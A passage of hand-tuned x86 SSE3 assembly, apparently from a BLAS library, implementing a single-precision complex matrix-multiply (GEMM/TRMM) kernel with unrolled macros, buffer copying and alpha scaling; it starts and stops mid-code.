%xmm2; \\\n\tmulps\t%xmm0, %xmm2; \\\n\tADDSUB\t%xmm2, %xmm5; \\\n\tmovsldup 4 * SIZE + 2 * (address) * SIZE(BB), %xmm2; \\\n\tmulps\t%xmm0, %xmm2; \\\n\taddps\t%xmm2, %xmm6; \\\n\tmovshdup 4 * SIZE + 2 * (address) * SIZE(BB), %xmm2; \\\n\tmulps\t%xmm0, %xmm2; \\\n\tmovaps\t 4 * SIZE + 1 * (address) * SIZE(AA), %xmm0; \\\n\tADDSUB\t%xmm2, %xmm7; \\\n\tmovsldup 8 * SIZE + 2 * (address) * SIZE(BB), %xmm2\n\n#define KERNEL2(address) \\\n\tmulps\t%xmm0, %xmm2; \\\n\taddps\t%xmm2, %xmm4; \\\n\tmovshdup 8 * SIZE + 2 * (address) * SIZE(BB), %xmm2; \\\n\tmulps\t%xmm0, %xmm2; \\\n\tADDSUB\t%xmm2, %xmm5; \\\n\tmovsldup 12 * SIZE + 2 * (address) * SIZE(BB), %xmm2; \\\n\tmulps\t%xmm0, %xmm2; \\\n\taddps\t%xmm2, %xmm6; \\\n\tmovshdup 12 * SIZE + 2 * (address) * SIZE(BB), %xmm2; \\\n\tmulps\t%xmm0, %xmm2; \\\n\tmovaps\t 8 * SIZE + 1 * (address) * SIZE(AA), %xmm0; \\\n\tADDSUB\t%xmm2, %xmm7; \\\n\tmovsldup 32 * SIZE + 2 * (address) * SIZE(BB), %xmm2\n\n#define KERNEL3(address) \\\n\tmulps\t%xmm0, %xmm3; \\\n\taddps\t%xmm3, %xmm4; \\\n\tmovshdup 16 * SIZE + 2 * (address) * SIZE(BB), %xmm3; \\\n\tmulps\t%xmm0, %xmm3; \\\n\tADDSUB\t%xmm3, %xmm5; \\\n\tmovsldup 20 * SIZE + 2 * (address) * SIZE(BB), %xmm3; \\\n\tmulps\t%xmm0, %xmm3; \\\n\taddps\t%xmm3, %xmm6; \\\n\tmovshdup 20 * SIZE + 2 * (address) * SIZE(BB), %xmm3; \\\n\tmulps\t%xmm0, %xmm3; \\\n\tmovaps\t 12 * SIZE + 1 * (address) * SIZE(AA), %xmm0; \\\n\tADDSUB\t%xmm3, %xmm7; \\\n\tmovsldup 24 * SIZE + 2 * (address) * SIZE(BB), %xmm3\n\n#define KERNEL4(address) \\\n\tmulps\t%xmm0, %xmm3; \\\n\taddps\t%xmm3, %xmm4; \\\n\tmovshdup 24 * SIZE + 2 * (address) * SIZE(BB), %xmm3; \\\n\tmulps\t%xmm0, %xmm3; \\\n\tADDSUB\t%xmm3, %xmm5; \\\n\tmovsldup 28 * SIZE + 2 * (address) * SIZE(BB), %xmm3; \\\n\tmulps\t%xmm0, %xmm3; \\\n\taddps\t%xmm3, %xmm6; \\\n\tmovshdup 28 * SIZE + 2 * (address) * SIZE(BB), %xmm3; \\\n\tmulps\t%xmm0, %xmm3; \\\n\tmovaps\t 32 * SIZE + 1 * (address) * SIZE(AA), %xmm0; \\\n\tADDSUB\t%xmm3, %xmm7; \\\n\tmovsldup 48 * SIZE + 2 * (address) * SIZE(BB), %xmm3\n\n#define KERNEL5(address) \\\n\tmulps\t%xmm1, %xmm2; \\\n\taddps\t%xmm2, %xmm4; \\\n\tmovshdup 32 * SIZE + 2 * (address) * SIZE(BB), %xmm2; \\\n\tmulps\t%xmm1, %xmm2; \\\n\tADDSUB\t%xmm2, %xmm5; \\\n\tmovsldup 36 * SIZE + 2 * (address) * SIZE(BB), %xmm2; \\\n\tmulps\t%xmm1, %xmm2; \\\n\taddps\t%xmm2, %xmm6; \\\n\tmovshdup 36 * SIZE + 2 * (address) * SIZE(BB), %xmm2; \\\n\tmulps\t%xmm1, %xmm2; \\\n\tmovaps\t 20 * SIZE + 1 * (address) * SIZE(AA), %xmm1; \\\n\tADDSUB\t%xmm2, %xmm7; \\\n\tmovsldup 40 * SIZE + 2 * (address) * SIZE(BB), %xmm2\n\n#define KERNEL6(address) \\\n\tmulps\t%xmm1, %xmm2; \\\n\taddps\t%xmm2, %xmm4; \\\n\tmovshdup 40 * SIZE + 2 * (address) * SIZE(BB), %xmm2; \\\n\tmulps\t%xmm1, %xmm2; \\\n\tADDSUB\t%xmm2, %xmm5; \\\n\tmovsldup 44 * SIZE + 2 * (address) * SIZE(BB), %xmm2; \\\n\tmulps\t%xmm1, %xmm2; \\\n\taddps\t%xmm2, %xmm6; \\\n\tmovshdup 44 * SIZE + 2 * (address) * SIZE(BB), %xmm2; \\\n\tmulps\t%xmm1, %xmm2; \\\n\tmovaps\t 24 * SIZE + 1 * (address) * SIZE(AA), %xmm1; \\\n\tADDSUB\t%xmm2, %xmm7; \\\n\tmovsldup 64 * SIZE + 2 * (address) * SIZE(BB), %xmm2\n\n#define KERNEL7(address) \\\n\tmulps\t%xmm1, %xmm3; \\\n\taddps\t%xmm3, %xmm4; \\\n\tmovshdup 48 * SIZE + 2 * (address) * SIZE(BB), %xmm3; \\\n\tmulps\t%xmm1, %xmm3; \\\n\tADDSUB\t%xmm3, %xmm5; \\\n\tmovsldup 52 * SIZE + 2 * (address) * SIZE(BB), %xmm3; \\\n\tmulps\t%xmm1, %xmm3; \\\n\taddps\t%xmm3, %xmm6; \\\n\tmovshdup 52 * SIZE + 2 * (address) * SIZE(BB), %xmm3; \\\n\tmulps\t%xmm1, %xmm3; \\\n\tmovaps\t 28 * SIZE + 1 * (address) * SIZE(AA), %xmm1; \\\n\tADDSUB\t%xmm3, %xmm7; \\\n\tmovsldup 56 * SIZE + 2 * (address) * SIZE(BB), %xmm3\n\n#define KERNEL8(address) \\\n\tmulps\t%xmm1, %xmm3; \\\n\taddps\t%xmm3, %xmm4; \\\n\tmovshdup 56 * SIZE + 2 * (address) * SIZE(BB), %xmm3; \\\n\tmulps\t%xmm1, %xmm3; \\\n\tADDSUB\t%xmm3, %xmm5; \\\n\tmovsldup 60 * SIZE + 2 * (address) * SIZE(BB), %xmm3; \\\n\tmulps\t%xmm1, %xmm3; \\\n\taddps\t%xmm3, %xmm6; \\\n\tmovshdup 60 * SIZE + 2 * (address) * SIZE(BB), %xmm3; \\\n\tmulps\t%xmm1, %xmm3; \\\n\tmovaps\t 48 * SIZE + 1 * (address) * SIZE(AA), %xmm1; \\\n\tADDSUB\t%xmm3, %xmm7; \\\n\tmovsldup 80 * SIZE + 2 * (address) * SIZE(BB), %xmm3\n\n\tPROLOGUE\n\n\tpushl\t%ebp\n\tpushl\t%edi\n\tpushl\t%esi\n\tpushl\t%ebx\n\n\tPROFCODE\n\n\tmovl\t%esp, %esi\t# save old stack\n\n\tsubl\t$128 + LOCAL_BUFFER_SIZE, %esp\n\tandl\t$-1024, %esp\t# align stack\n\n\tSTACK_TOUCHING\n\n\tmovl\tSTACK_M, %ebx\n\tmovl\tSTACK_N, %eax\n\tmovl\tSTACK_K, %ecx\n\tmovl\tSTACK_A, %edx\n\n\tmovl\t%ebx, M\n\tmovl\t%eax, N\n\tmovl\t%ecx, K\n\tmovl\t%edx, A\n\tmovl\t%esi, OLD_STACK\n\n\tmovl\tSTACK_B, %edi\n\tmovl\tSTACK_C, %ebx\n#ifdef TRMMKERNEL\n\tmovss\tSTACK_OFFT, %xmm4\n#endif\n\n\tmovss\tSTACK_ALPHA_R, %xmm0\n\tmovss\tSTACK_ALPHA_I, %xmm1\n\n\tpxor\t%xmm7, %xmm7\n\tcmpeqps\t%xmm7, %xmm7\n\tpslld\t$31, %xmm7\t# Generate mask\n\n\tshufps\t$0, %xmm0, %xmm0\n\tmovaps\t %xmm0, 0 + ALPHA_R\n\n\tmovss\t %xmm1, 4 + ALPHA_I\n\tmovss\t %xmm1, 12 + ALPHA_I\n\txorps\t %xmm7, %xmm1\n\tmovss\t %xmm1, 0 + ALPHA_I\n\tmovss\t %xmm1, 8 + ALPHA_I\n\n\tmovl\t%ebx, C\n\tmovl\tSTACK_LDC, LDC\n\n#ifdef TRMMKERNEL\n\tmovss\t%xmm4, OFFSET\n\tmovss\t%xmm4, KK\n#ifndef LEFT\n\tnegl\tKK\n#endif\t\n#endif\n\n\tsall\t$ZBASE_SHIFT, LDC\n\tmovl\t%eax, J\t\t\t# j = n\n\tsarl\t$1, J\n\tjle\t.L100\n\tALIGN_4\n\n.L01:\n#if defined(TRMMKERNEL) && defined(LEFT)\n\tmovl\tOFFSET, %eax\n\tmovl\t%eax, KK\n#endif\t\n\n/* Copying to Sub Buffer */\n\tleal\tBUFFER, %ecx\n\n\tmovl\tK, %eax\n\tsarl\t$2, %eax\n\tjle\t.L03\n\tALIGN_4\n\n.L02:\n\tmovddup\t 0 * SIZE(B), %xmm0\n\tmovddup\t 2 * SIZE(B), %xmm1\n\tmovddup\t 4 * SIZE(B), %xmm2\n\tmovddup\t 6 * SIZE(B), %xmm3\n\tmovddup\t 8 * SIZE(B), %xmm4\n\tmovddup\t10 * SIZE(B), %xmm5\n\tmovddup\t12 * SIZE(B), %xmm6\n\tmovddup\t14 * SIZE(B), %xmm7\n\n\tmovaps\t%xmm0, 0 * SIZE(BB)\n\tmovaps\t%xmm1, 4 * SIZE(BB)\n\tmovaps\t%xmm2, 8 * SIZE(BB)\n\tmovaps\t%xmm3, 12 * SIZE(BB)\n\tmovaps\t%xmm4, 16 * SIZE(BB)\n\tmovaps\t%xmm5, 20 * SIZE(BB)\n\tmovaps\t%xmm6, 24 * SIZE(BB)\n\tmovaps\t%xmm7, 28 * SIZE(BB)\n\n#\tprefetcht1\t128 * SIZE(%ecx)\n\tprefetcht0\t112 * SIZE(%edi)\n\n\taddl\t$16 * SIZE, B\n\taddl\t$32 * SIZE, BB\n\n\tdecl\t%eax\n\tjne\t.L02\n\tALIGN_4\n\n.L03:\n\tmovl\tK, %eax\n\tandl\t$3, %eax\n\tBRANCH\n\tjle\t.L05\n\tALIGN_4\n\n.L04:\n\tmovddup\t0 * SIZE(B), %xmm0\n\tmovddup\t2 * SIZE(B), %xmm1\n\n\tmovaps\t%xmm0, 0 * SIZE(BB)\n\tmovaps\t%xmm1, 4 * SIZE(BB)\n\n\taddl\t$4 * SIZE, B\n\taddl\t$8 * SIZE, BB\n\tdecl\t%eax\n\tjne\t.L04\n\tALIGN_4\n\n.L05:\n\tmovl\tC, %esi\n\tmovl\tA, %edx\n\tmovl\tM, %ebx\n\tsarl\t$1, %ebx\n\tjle\t.L30\n\tALIGN_4\n\n.L10:\n#if !defined(TRMMKERNEL) || \\\n\t(defined(TRMMKERNEL) && defined(LEFT) && defined(TRANSA)) || \\\n\t(defined(TRMMKERNEL) && !defined(LEFT) && !defined(TRANSA))\n\n\tleal\tBUFFER, BB\t# boffset1 = boffset\n#else\n\tleal\tBUFFER, BB\t# boffset1 = boffset\n\tmovl\tKK, %eax\n\tleal\t(, %eax, 8), %eax\n\tleal\t(AA, %eax, 2), AA\n\tleal\t(BB, %eax, 4), BB\n#endif\t\n\n\tmovaps\t 0 * SIZE(AA), %xmm0\n\tpxor\t%xmm4, %xmm4\n\tmovaps\t16 * SIZE(AA), %xmm1\n\tpxor\t%xmm5, %xmm5\n\tmovsldup 0 * SIZE(BB), %xmm2\n\tpxor\t%xmm6, %xmm6\n\tmovsldup 16 * SIZE(BB), %xmm3\n\tpxor\t%xmm7, %xmm7\n\n\tprefetchnta 4 * SIZE(%esi)\n\tprefetchnta 4 * SIZE(%esi, LDC)\n\n#ifndef TRMMKERNEL\n\tmovl\tK, %eax\n#elif (defined(LEFT) && !defined(TRANSA)) || (!defined(LEFT) && defined(TRANSA))\n\tmovl\tK, %eax\n\tsubl\tKK, %eax\n\tmovl\t%eax, KKK\t\n#else\n\tmovl\tKK, %eax\n#ifdef LEFT\n\taddl\t$2, %eax\n#else\n\taddl\t$2, %eax\n#endif\n\tmovl\t%eax, KKK\n#endif\n\n\n#if 1\n\tandl\t$-8, %eax\n\tsall\t$4, %eax\n\tje\t.L15\n.L1X:\t\n\tKERNEL1(32 * 0)\n\tKERNEL2(32 * 0)\n\tKERNEL3(32 * 0)\n\tKERNEL4(32 * 0)\n\tKERNEL5(32 * 0)\n\tKERNEL6(32 * 0)\n\tKERNEL7(32 * 0)\n\tKERNEL8(32 * 0)\n\tcmpl\t$128 * 1, %eax\n\tjle\t.L12\n\tKERNEL1(32 * 1)\n\tKERNEL2(32 * 1)\n\tKERNEL3(32 * 1)\n\tKERNEL4(32 * 1)\n\tKERNEL5(32 * 1)\n\tKERNEL6(32 * 1)\n\tKERNEL7(32 * 1)\n\tKERNEL8(32 * 1)\n\tcmpl\t$128 * 2, %eax\n\tjle\t.L12\n\tKERNEL1(32 * 2)\n\tKERNEL2(32 * 2)\n\tKERNEL3(32 * 2)\n\tKERNEL4(32 * 2)\n\tKERNEL5(32 * 2)\n\tKERNEL6(32 * 2)\n\tKERNEL7(32 * 2)\n\tKERNEL8(32 * 2)\n\tcmpl\t$128 * 3, %eax\n\tjle\t.L12\n\tKERNEL1(32 * 3)\n\tKERNEL2(32 * 3)\n\tKERNEL3(32 * 3)\n\tKERNEL4(32 * 3)\n\tKERNEL5(32 * 3)\n\tKERNEL6(32 * 3)\n\tKERNEL7(32 * 3)\n\tKERNEL8(32 * 3)\n\tcmpl\t$128 * 4, %eax\n\tjle\t.L12\n\tKERNEL1(32 * 4)\n\tKERNEL2(32 * 4)\n\tKERNEL3(32 * 4)\n\tKERNEL4(32 * 4)\n\tKERNEL5(32 * 4)\n\tKERNEL6(32 * 4)\n\tKERNEL7(32 * 4)\n\tKERNEL8(32 * 4)\n\tcmpl\t$128 * 5, %eax\n\tjle\t.L12\n\tKERNEL1(32 * 5)\n\tKERNEL2(32 * 5)\n\tKERNEL3(32 * 5)\n\tKERNEL4(32 * 5)\n\tKERNEL5(32 * 5)\n\tKERNEL6(32 * 5)\n\tKERNEL7(32 * 5)\n\tKERNEL8(32 * 5)\n\tcmpl\t$128 * 6, %eax\n\tjle\t.L12\n\tKERNEL1(32 * 6)\n\tKERNEL2(32 * 6)\n\tKERNEL3(32 * 6)\n\tKERNEL4(32 * 6)\n\tKERNEL5(32 * 6)\n\tKERNEL6(32 * 6)\n\tKERNEL7(32 * 6)\n\tKERNEL8(32 * 6)\n\tcmpl\t$128 * 7, %eax\n\tjle\t.L12\n\tKERNEL1(32 * 7)\n\tKERNEL2(32 * 7)\n\tKERNEL3(32 * 7)\n\tKERNEL4(32 * 7)\n\tKERNEL5(32 * 7)\n\tKERNEL6(32 * 7)\n\tKERNEL7(32 * 7)\n\tKERNEL8(32 * 7)\n#if 1\n\tcmpl\t$128 * 8, %eax\n\tjle\t.L12\n\tKERNEL1(32 * 8)\n\tKERNEL2(32 * 8)\n\tKERNEL3(32 * 8)\n\tKERNEL4(32 * 8)\n\tKERNEL5(32 * 8)\n\tKERNEL6(32 * 8)\n\tKERNEL7(32 * 8)\n\tKERNEL8(32 * 8)\n\tcmpl\t$128 * 9, %eax\n\tjle\t.L12\n\tKERNEL1(32 * 9)\n\tKERNEL2(32 * 9)\n\tKERNEL3(32 * 9)\n\tKERNEL4(32 * 9)\n\tKERNEL5(32 * 9)\n\tKERNEL6(32 * 9)\n\tKERNEL7(32 * 9)\n\tKERNEL8(32 * 9)\n\tcmpl\t$128 * 10, %eax\n\tjle\t.L12\n\tKERNEL1(32 * 10)\n\tKERNEL2(32 * 10)\n\tKERNEL3(32 * 10)\n\tKERNEL4(32 * 10)\n\tKERNEL5(32 * 10)\n\tKERNEL6(32 * 10)\n\tKERNEL7(32 * 10)\n\tKERNEL8(32 * 10)\n\tcmpl\t$128 * 11, %eax\n\tjle\t.L12\n\tKERNEL1(32 * 11)\n\tKERNEL2(32 * 11)\n\tKERNEL3(32 * 11)\n\tKERNEL4(32 * 11)\n\tKERNEL5(32 * 11)\n\tKERNEL6(32 * 11)\n\tKERNEL7(32 * 11)\n\tKERNEL8(32 * 11)\n\tcmpl\t$128 * 12, %eax\n\tjle\t.L12\n\tKERNEL1(32 * 12)\n\tKERNEL2(32 * 12)\n\tKERNEL3(32 * 12)\n\tKERNEL4(32 * 12)\n\tKERNEL5(32 * 12)\n\tKERNEL6(32 * 12)\n\tKERNEL7(32 * 12)\n\tKERNEL8(32 * 12)\n\tcmpl\t$128 * 13, %eax\n\tjle\t.L12\n\tKERNEL1(32 * 13)\n\tKERNEL2(32 * 13)\n\tKERNEL3(32 * 13)\n\tKERNEL4(32 * 13)\n\tKERNEL5(32 * 13)\n\tKERNEL6(32 * 13)\n\tKERNEL7(32 * 13)\n\tKERNEL8(32 * 13)\n\tcmpl\t$128 * 14, %eax\n\tjle\t.L12\n\tKERNEL1(32 * 14)\n\tKERNEL2(32 * 14)\n\tKERNEL3(32 * 14)\n\tKERNEL4(32 * 14)\n\tKERNEL5(32 * 14)\n\tKERNEL6(32 * 14)\n\tKERNEL7(32 * 14)\n\tKERNEL8(32 * 14)\n\tcmpl\t$128 * 15, %eax\n\tjle\t.L12\n\tKERNEL1(32 * 15)\n\tKERNEL2(32 * 15)\n\tKERNEL3(32 * 15)\n\tKERNEL4(32 * 15)\n\tKERNEL5(32 * 15)\n\tKERNEL6(32 * 15)\n\tKERNEL7(32 * 15)\n\tKERNEL8(32 * 15)\n#else\n\taddl\t$128 * 4 * SIZE, BB\n\taddl\t$128 * 2 * SIZE, AA\n\tsubl\t$128 * 8, %eax\n\tjg\t.L1X\n\tjmp\t.L15\n#endif\n\n.L12:\n\tleal\t(AA, %eax, 1), AA\n\tleal\t(BB, %eax, 2), BB\n\tALIGN_4\n#else\n\tsarl\t$3, %eax\n\tje\t.L15\n\tALIGN_4\n\n.L11:\n\tKERNEL1(32 * 7)\n\tKERNEL2(32 * 7)\n\tKERNEL3(32 * 7)\n\tKERNEL4(32 * 7)\n\tKERNEL5(32 * 7)\n\tKERNEL6(32 * 7)\n\tKERNEL7(32 * 7)\n\tKERNEL8(32 * 7)\n\n\taddl\t$32 * SIZE, AA\n\taddl\t$64 * SIZE, BB\n\tdecl %eax\n\tjne .L11\n\tALIGN_4\n#endif\n\t\n.L15:\n#ifndef TRMMKERNEL\n\tmovl\tK, %eax\n#else\n\tmovl\tKKK, %eax\n#endif\n\tmovaps\tALPHA_R, %xmm1\n\tmovaps\tALPHA_I, %xmm3\n\tandl\t$7, %eax\t\t# if (k & 1)\n\tBRANCH\n\tje .L14\n\tALIGN_4\n\n.L13:\n\tmulps\t%xmm0, %xmm2\n\taddps\t%xmm2, %xmm4\n\tmovshdup 0 * SIZE(BB), %xmm2\n\tmulps\t%xmm0, %xmm2\n\tADDSUB\t%xmm2, %xmm5\n\tmovsldup 4 * SIZE(BB), %xmm2\n\tmulps\t%xmm0, %xmm2\n\taddps\t%xmm2, %xmm6\n\tmovshdup 4 * SIZE(BB), %xmm2\n\tmulps\t%xmm0, %xmm2\n\tmovaps\t 4 * SIZE(AA), %xmm0\n\tADDSUB\t%xmm2, %xmm7\n\tmovsldup 8 * SIZE(BB), %xmm2\n\n\taddl\t$4 * SIZE, AA\n\taddl\t$8 * SIZE, BB\n\tdecl\t%eax\n\tjg\t.L13\n\tALIGN_4\n\n.L14:\n#if defined(NN) || defined(NT) || defined(TN) || defined(TT) || \\\n defined(NR) || defined(NC) || defined(TR) || defined(TC)\n\n\tshufps\t$0xb1, %xmm5, %xmm5\n\tshufps\t$0xb1, %xmm7, %xmm7\n\n\taddsubps\t%xmm5, %xmm4\n\taddsubps\t%xmm7, %xmm6\n\n\tmovaps\t%xmm4, %xmm5\n\tmovaps\t%xmm6, %xmm7\n\n\tshufps\t$0xb1, %xmm4, %xmm4\n\tshufps\t$0xb1, %xmm6, %xmm6\n#else\n\tshufps\t$0xb1, %xmm4, %xmm4\n\tshufps\t$0xb1, %xmm6, %xmm6\n\n\taddsubps\t%xmm4, %xmm5\n\taddsubps\t%xmm6, %xmm7\n\n\tmovaps\t%xmm5, %xmm4\n\tmovaps\t%xmm7, %xmm6\n\n\tshufps\t$0xb1, %xmm5, %xmm5\n\tshufps\t$0xb1, %xmm7, %xmm7\n#endif\n\n\tmulps\t%xmm1, %xmm5\n\tmulps\t%xmm3, %xmm4\n\tmulps\t%xmm1, %xmm7\n\tmulps\t%xmm3, %xmm6\n\n\taddps\t%xmm5, %xmm4\n\taddps\t%xmm7, %xmm6\n\n#ifndef TRMMKERNEL\n\tshufps\t$0xe4, %xmm0, %xmm0\n\tmovsd\t0 * SIZE(%esi), %xmm0\n\tmovhps\t2 * SIZE(%esi), %xmm0\n\n\tshufps\t$0xe4, %xmm2, %xmm2\n\tmovsd\t0 * SIZE(%esi, LDC), %xmm2\n\tmovhps\t2 * SIZE(%esi, LDC), %xmm2\n\n\taddps\t%xmm0, %xmm4\n\taddps\t%xmm2, %xmm6\n#endif\n\n\tmovsd\t%xmm4, 0 * SIZE(%esi)\n\tmovhps\t%xmm4, 2 * SIZE(%esi)\n\tmovsd\t%xmm6, 0 * SIZE(%esi, LDC)\n\tmovhps\t%xmm6, 2 * SIZE(%esi, LDC)\n\n#if (defined(TRMMKERNEL) && defined(LEFT) && defined(TRANSA)) || \\\n (defined(TRMMKERNEL) && !defined(LEFT) && !defined(TRANSA))\n\tmovl\tK, %eax\n\tsubl\tKKK, %eax\n\tleal\t(,%eax, 8), %eax\n\tleal\t(AA, %eax, 2), AA\n\tleal\t(BB, %eax, 4), BB\n#endif\n\n#if defined(TRMMKERNEL) && defined(LEFT)\n\taddl\t$2, KK\n#endif\n\n\taddl\t$4 * SIZE, %esi\t\t# coffset += 4\n\tdecl\t%ebx\t\t\t# i --\n\tjg\t.L10\n\tALIGN_4\n\n.L30:\n\tmovl\tM, %ebx\n\tandl\t$1, %ebx\n\tjle\t.L99\n\tALIGN_4\n\n.L40:\n#if !defined(TRMMKERNEL) || \\\n\t(defined(TRMMKERNEL) && defined(LEFT) && defined(TRANSA)) || \\\n\t(defined(TRMMKERNEL) && !defined(LEFT) && !defined(TRANSA))\n\n\tleal\tBUFFER, BB\t# boffset1 = boffset\n#else\n\tleal\tBUFFER, BB\t# boffset1 = boffset\n\tmovl\tKK, %eax\n\tleal\t(, %eax, 8), %eax\n\tleal\t(AA, %eax, 1), AA\n\tleal\t(BB, %eax, 4), BB\n#endif\t\n\n\tmovddup\t 0 * SIZE(AA), %xmm0\n\tpxor\t%xmm4, %xmm4\n\tmovddup\t 8 * SIZE(AA), %xmm1\n\tpxor\t%xmm5, %xmm5\n\tmovsd 0 * SIZE(BB), %xmm2\n\tmovsd 16 * SIZE(BB), %xmm3\n\n#ifndef TRMMKERNEL\n\tmovl\tK, %eax\n#elif (defined(LEFT) && !defined(TRANSA)) || (!defined(LEFT) && defined(TRANSA))\n\tmovl\tK, %eax\n\tsubl\tKK, %eax\n\tmovl\t%eax, KKK\t\n#else\n\tmovl\tKK, %eax\n#ifdef LEFT\n\taddl\t$1, %eax\n#else\n\taddl\t$2, %eax\n#endif\n\tmovl\t%eax, KKK\n#endif\n\tsarl\t$3, %eax\n\tje\t.L42\n\tALIGN_4\n\n.L41:\n\tshufps\t$0x50, %xmm2, %xmm2\n\tmulps\t%xmm0, %xmm2\n\tPREFETCH (PREFETCHSIZE + 0) * SIZE(AA)\n\taddps\t%xmm2, %xmm4\n\tmovsd 4 * SIZE(BB), %xmm2\n\tshufps\t$0x50, %xmm2, %xmm2\n\tmulps\t%xmm0, %xmm2\n\tmovddup\t 2 * SIZE(AA), %xmm0\n\taddps\t%xmm2, %xmm5\n\tmovsd 8 * SIZE(BB), %xmm2\n\tshufps\t$0x50, %xmm2, %xmm2\n\tmulps\t%xmm0, %xmm2\n\taddps\t%xmm2, %xmm4\n\tmovsd 12 * SIZE(BB), %xmm2\n\tshufps\t$0x50, %xmm2, %xmm2\n\tmulps\t%xmm0, %xmm2\n\tmovddup\t 4 * SIZE(AA), %xmm0\n\taddps\t%xmm2, %xmm5\n\tmovsd 32 * SIZE(BB), %xmm2\n\tshufps\t$0x50, %xmm3, %xmm3\n\tmulps\t%xmm0, %xmm3\n\taddps\t%xmm3, %xmm4\n\tmovsd 20 * SIZE(BB), %xmm3\n\tshufps\t$0x50, %xmm3, %xmm3\n\tmulps\t%xmm0, %xmm3\n\tmovddup\t 6 * SIZE(AA), %xmm0\n\taddps\t%xmm3, %xmm5\n\tmovsd 24 * SIZE(BB), %xmm3\n\tshufps\t$0x50, %xmm3, %xmm3\n\tmulps\t%xmm0, %xmm3\n\taddps\t%xmm3, %xmm4\n\tmovsd 28 * SIZE(BB), %xmm3\n\tshufps\t$0x50, %xmm3, %xmm3\n\tmulps\t%xmm0, %xmm3\n\tmovddup\t 16 * SIZE(AA), %xmm0\n\taddps\t%xmm3, %xmm5\n\tmovsd 48 * SIZE(BB), %xmm3\n\tshufps\t$0x50, %xmm2, %xmm2\n\tmulps\t%xmm1, %xmm2\n\taddps\t%xmm2, %xmm4\n\tmovsd 36 * SIZE(BB), %xmm2\n\tshufps\t$0x50, %xmm2, %xmm2\n\tmulps\t%xmm1, %xmm2\n\tmovddup\t 10 * SIZE(AA), %xmm1\n\taddps\t%xmm2, %xmm5\n\tmovsd 40 * SIZE(BB), %xmm2\n\tshufps\t$0x50, %xmm2, %xmm2\n\tmulps\t%xmm1, %xmm2\n\taddps\t%xmm2, %xmm4\n\tmovsd 44 * SIZE(BB), %xmm2\n\tshufps\t$0x50, %xmm2, %xmm2\n\tmulps\t%xmm1, %xmm2\n\tmovddup\t 12 * SIZE(AA), %xmm1\n\taddps\t%xmm2, %xmm5\n\tmovsd 64 * SIZE(BB), %xmm2\n\tshufps\t$0x50, %xmm3, %xmm3\n\tmulps\t%xmm1, %xmm3\n\taddps\t%xmm3, %xmm4\n\tmovsd 52 * SIZE(BB), %xmm3\n\tshufps\t$0x50, %xmm3, %xmm3\n\tmulps\t%xmm1, %xmm3\n\tmovddup\t 14 * SIZE(AA), %xmm1\n\taddps\t%xmm3, %xmm5\n\tmovsd 56 * SIZE(BB), %xmm3\n\tshufps\t$0x50, %xmm3, %xmm3\n\tmulps\t%xmm1, %xmm3\n\taddps\t%xmm3, %xmm4\n\tmovsd 60 * SIZE(BB), %xmm3\n\tshufps\t$0x50, %xmm3, %xmm3\n\tmulps\t%xmm1, %xmm3\n\tmovddup\t 24 * SIZE(AA), %xmm1\n\taddps\t%xmm3, %xmm5\n\tmovsd 80 * SIZE(BB), %xmm3\n\n\taddl\t$16 * SIZE, AA\n\taddl\t$64 * SIZE, BB\n\tdecl\t%eax\n\tjne\t.L41\n\tALIGN_4\n\t\n.L42:\n#ifndef TRMMKERNEL\n\tmovl\tK, %eax\n#else\n\tmovl\tKKK, %eax\n#endif\n\tmovaps\tALPHA_R, %xmm1\n\tmovaps\tALPHA_I, %xmm3\n\tandl\t$7, %eax\t\t# if (k & 1)\n\tBRANCH\n\tje .L44\n\tALIGN_4\n\n.L43:\n\tshufps\t$0x50, %xmm2, %xmm2\n\tmulps\t%xmm0, %xmm2\n\taddps\t%xmm2, %xmm4\n\tmovsd 4 * SIZE(BB), %xmm2\n\tshufps\t$0x50, %xmm2, %xmm2\n\tmulps\t%xmm0, %xmm2\n \tmovddup\t 2 * SIZE(AA), %xmm0\n\taddps\t%xmm2, %xmm5\n\tmovsd 8 * SIZE(BB), %xmm2\n\n\taddl\t$2 * SIZE, AA\n\taddl\t$8 * SIZE, BB\n\tdecl\t%eax\n\tjg\t.L43\n\tALIGN_4\n\n.L44:\n\tmovaps\t%xmm4, %xmm6\n\tmovlhps\t%xmm5, %xmm4\n\tmovhlps %xmm6, %xmm5\n\n#if defined(NR) || defined(NC) || defined(TR) || defined(TC) || \\\n defined(RR) || defined(RC) || defined(CR) || defined(CC) \n\tcmpeqps\t%xmm7, %xmm7\n\tpslld\t$31, %xmm7\n\txorps\t%xmm7, %xmm5\n#endif \n \n#if defined(NN) || defined(NT) || defined(TN) || defined(TT) || \\\n defined(NR) || defined(NC) || defined(TR) || defined(TC)\n\tshufps\t$0xb1, %xmm5, %xmm5\n\n\taddsubps\t%xmm5, %xmm4\n\n\tmovaps\t%xmm4, %xmm5\n\n\tshufps\t$0xb1, %xmm4, %xmm4\n#else\n\tshufps\t$0xb1, %xmm4, %xmm4\n\n\taddsubps\t%xmm4, %xmm5\n\n\tmovaps\t%xmm5, %xmm4\n\n\tshufps\t$0xb1, %xmm5, %xmm5\n#endif\n\n\tmulps\t%xmm1, %xmm5\n\tmulps\t%xmm3, %xmm4\n\n\taddps\t%xmm5, %xmm4\n\n#ifndef TRMMKERNEL\n\tmovsd\t0 * SIZE(%esi), %xmm0\n\tmovhps\t0 * SIZE(%esi, LDC), %xmm0\n\n\taddps\t%xmm0, %xmm4\n#endif\n\n\tmovsd\t%xmm4, 0 * SIZE(%esi)\n\tmovhps\t%xmm4, 0 * SIZE(%esi, LDC)\n\n#if (defined(TRMMKERNEL) && defined(LEFT) && defined(TRANSA)) || \\\n (defined(TRMMKERNEL) && !defined(LEFT) && !defined(TRANSA))\n\tmovl\tK, %eax\n\tsubl\tKKK, %eax\n\tleal\t(,%eax, 8), %eax\n\tleal\t(AA, %eax, 1), AA\n\tleal\t(BB, %eax, 4), BB\n#endif\n\n#if defined(TRMMKERNEL) && defined(LEFT)\n\taddl\t$1, KK\n#endif\n\tALIGN_4\n\n.L99:\n#if defined(TRMMKERNEL) && !defined(LEFT)\n\taddl\t$2, KK\n#endif\n\n\tleal\t(LDC, LDC), %eax\n\taddl\t%eax, C\t\t\t# c += 2 * ldc\n\tdecl\tJ\t\t\t# j --\n\tjg\t.L01\n\tALIGN_4\n\n.L100:\n\tmovl\tN, %eax\n\tandl\t$1, %eax\n\tjle\t.L999\n\tALIGN_4\n\n.L101:\n#if defined(TRMMKERNEL) && defined(LEFT)\n\tmovl\tOFFSET, %eax\n\tmovl\t%eax, KK\n#endif\t\n\n/* Copying to Sub Buffer */\n\tleal\tBUFFER, %ecx\n\n\tmovl\tK, %eax\n\tsarl\t$3, 